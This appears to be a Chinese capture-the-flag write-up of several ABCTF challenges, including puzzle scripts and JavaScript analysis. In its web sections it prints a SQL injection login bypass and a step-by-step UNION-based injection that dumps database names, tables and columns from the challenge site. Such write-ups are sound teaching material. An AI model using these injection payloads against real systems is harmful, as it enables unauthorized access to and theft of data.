MoonWalk- 60
在图片里提出一张图片,但是怎么输都不对….
ABCTF{PNG_S0_C00l}
RacecaR
这题坑死…
写了个脚本跑,跑到第7位之后就没出过回文了
DbrMrbD
o4OmO4o
BZXTXZB
一共这些情况,一开始我只试了最后一种,是 ABCTF{ BZXTXZB}
不对,就让程序接着跑,跑到了1500……也没再见其他的,刚刚把三个都试了一下,发现第一个就是答案…..
脚本如下(需要先把文本文件处理成一行)
#!/usr/bin/python
# -*-coding:utf-8 -*-
f =open("palindrome.txt","r")
a = f.read()
b = list(a)
leng = len(b)
def ispalindrome(i,j):
forflag in range(0,i/2+1):
ifb[j+flag] != b[j+i-flag]:
return0
return1
for i in range(0,leng): # i为回文长度
forj in range(0,leng-1-i):
ifispalindrome(i,j):
print"".join(b[j:j+i+1])
printi
print "Done!!!!!!!!!!!!!!!!!!!!!!!!!!!"
f.close()
JS Pls
这题比较坑的是不能直接用工具来做,要手工……..
首先把那串字符串base64解密之后,发现是jsfuck编码,还以为可以直接用浏览器控制台运行js代码了,没想到报错,那就没办法了,只能一段一段解了,用alert函数把那些jsfuck编码替换掉,大概就是这个样子(可能某些地方稍微做了改正)
process.stdin.resume();
process.stdin.setEncoding('utf8');
console.log('Giveme a flag');
process.stdin.on('data',(t) = > {
t = t.trim();
if (t.length === 19) {
if (t.substr( 0, 5) === "ABCTF"){
if (t[5].charCodeAt( 0) ===t[18].charCodeAt( 0) &&t[5].charCodeAt( 0) === 123) {
if (t.substr(6,4) ===Object.keys(process.versions) [0]) {
if (t[10] === t[13] &&t[10].charCodeAt( 0) === 95) {
if (t.substr(11, 2) === ((typeof x)[5] + (typeof t) [0])) {
if (t.substr(14, 4) ==="w4Ck"){
console.log('nicejob!');
process.exit();
}
}
}
}
}
}
}
console.log('nope!');
process.exit();
});
接下来就是分析了
先说几个函数的作用
Trim 去掉字符串两侧的空白,不改变类型
charCodeAt 返回Ascii码值(查的是返回Unicode值,我看的是ascii码)
process.versions node和node依赖库的版本
{ node: '0.4.12',
v8: '3.1.8.26',
ares: '1.7.4',
ev: '4.4',
openssl: '1.0.0e-fips' }
Object.keys(obj)返回一个数组,数组里是该obj可被枚举的所有属性
String1.substr(6,4) 返回String1从第7位开始的连续4位字符串
也就这些函数吧,然后分析过程
第1个if判断flag长度,应为19位
第2个if判断前5位,应为 ABCTF
第3个if 判断第6位和第19位,应为左右大括号
第4个if判断7-10位 ,根据两个函数的作用,知道返回值为node
第5个if判断11,,14位,应为 _ 下划线
第6个if判断12,13位,这里比较复杂: x没有声明,所以返回 undefined,t是字符串型,返回 string,所以12,13位应为 is
第7个if判断15-18位,应为 w4Ck
好了,这样flag就出来了:ABCTF{node_is_w4Ck}
TGIF – 30
首先给了一个文本文件,是很多行日期,格式如下:
July 14,2011
为了便于统计,把空格替换成逗号,或者把逗号替换成空格,我把空格替换成了逗号,
题目说求一年后的这些日期中是周五的天数,就简单的把年份加1即可,但是有一个特殊情况:February,29,2004 会导致脚本出错,因为2005年没有2月29号,去掉这条数据就可以了,脚本如下:
#!/usr/bin/python
# -*-coding:utf-8-*-
from datetimeimport *
def convert_month(str_week):
if "Jan" in str_week:
return 1
elif "Feb" in str_week:
return 2
elif "Mar" in str_week:
return 3
elif "Apr" in str_week:
return 4
elif "May" in str_week:
return 5
elif "June" in str_week:
return 6
elif "Jul" in str_week:
return 7
elif "Aug" in str_week:
return 8
elif "Sep" in str_week:
return 9
elif "Oct" in str_week:
return 10
elif "Nov" in str_week:
return 11
elif "Dec" in str_week:
return 12
print"start"
f =open("date.txt","r")
f_list = f.readlines()
total = 0 # 计数周五
for i inrange(len(f_list)):
str1 =f_list[i].replace("\n","") #去掉回车
list1 = str1.split(',')
#printlist1[0],int(list1[1]),int(list1[2])+1
month1 = convert_month(list1[0])
weekday1 =datetime(int(list1[2])+1,month1,int(list1[1])).weekday()
if weekday1 == 4:
total += 1
print total
print"done"
f.close()
Get 'Em All – 80
雨神做的,突然发现自己什么都忘了…要好好记一下
输入框输入 admin'or '1'='1 就是简单的注入
原理分析:
select * from user where username = '什么'
那个什么 本来是 谁的名字就显示谁的 内容
输入下面这个
admin'or'1'='1 后 where后面 恒为真。也就能得到所有的内容了
Reunion – 150
龙神做的,自己又复习了下手注的过程
Get型注入
每条注入前都有 http://yrmyzscnvh.abctf.xyz/web8/?id=1
然后看语句
order by 4 //这样应该知道大概有四个字段
union select1,2,3,4 //这样可以验证一下
union select1,group_concat(schema_name),3,4 from information_schema.schemata
//查所有的数据库名,查到的有information_schema,webeight,看一下后者
union select1,group_concat(table_name),3,4 from information_schema.tables wheretable_schema= 0x7765626569676874
//查webeight数据库的所有表名,最后那串是webeight的十六进制,结果是:w0w_y0u_f0und_m3,webeight
union select1,group_concat(column_name),3,4 frominformation_schema.columns where table_schema=0x7765626569676874
//查 webeight数据库所有的列名,结果是:f0und_m3,breed,name,color,id
union select1,f0und_m3,3,4 from w0w_y0u_f0und_m3 //查到flag
大概过程就是这样,虽然有点瑕疵
Obfuscated 1 - 130
把给的程序分析了下
分析情况最后发现一个很尴尬的地方,i没有定义,
如果i是n的话,类型是不匹配的,n都是string型,b中的元素都是int型,所以要进行类型转换,string 转成int即可
最后分析代码如下
from _md5 importMD5Type as z
def is_flag(s):
a = int(s[pow(ord(s[0]), 2) - 7226:]) #①
b = list(filter(lambda q: q % 3 == 0, [a, a* 2, a * 3, a * 4, a * 5])) #②
if len(b) != 5:
return False
c = s[1:-2]
if (len([n for n in list(c) if lambda y:int(y) in b])) != 8: # ③
return False
d = [(ord(x) - 48) for x in list(s)] # fillin the blanks #④ d[0]=37 d[13]=9
if s.count('U') != 3: #⑤
return False
if c.index("_") !=c[::-1].index("_"): # ⑥
if (s[d[3]]) != 'U': #
return False
return True
① 处 猜测只取1位进行类型转换,也就是最后一位,这样可以判断出是s[0]=”U”
② 根据if判断,a应该是3的倍数,可能是3,6,9 情况都试一遍,我取得是9
③ 不管是否满足条件,都会返回一个值,所以这里可以判断出位数,s的位数为11
④ 和最后一个if判断相结合,可以取值是s[3]=”0” s[10]=”9”
⑤ 可知字符串中有3个’U’
⑥ "_"的位置在字符串c中是对称的,只要满足条件即可
最后找到一个满足条件的字符串 s ="UUU0__----9"
满足条件的应该有很多